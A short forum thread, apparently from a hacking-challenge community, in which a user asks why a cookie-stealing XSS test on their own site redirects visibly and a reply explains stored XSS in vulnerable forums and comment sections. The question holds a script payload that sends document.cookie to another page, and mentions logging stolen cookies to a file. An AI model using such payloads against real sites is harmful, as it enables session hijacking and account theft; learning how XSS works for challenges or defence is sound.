Easter egg, XSS & cookie stealing


some of you already found easter egg 5...

could someone explain the xss part a little more for me?

to test the script, i made myself a website. after document.cookie ("test=123"); i created a cookie i could 'steal'.

so, because i don't have a xss hole, i thought just putting 

<script>window.location('' + document.cookie)</script>

into the sourcecode would have the same effect (right?). but now, as soon as i open the page it redirects me to and displays the cookies i tried to steal.

not very stealthy

i mean the rest of the scripts works perfectly fine, the cookies and everything get into my 123cookies file, but still... did i do something wrong?

could somebody explain how to do it right :/

    So I'm not sure i am the person to ask, but I think I might see what you are doing wrong. So the idea behind XSS is that you put script into the website and when someone else stumbles across your code it runs and sends you something that says this is what their cookie is. The places that this usually happens is in forums and comment areas that are vulnerable, someone will inject some code into the website using their forums, so when the code is run by the web browser the person that injected the code has access to anything that the website had access to.
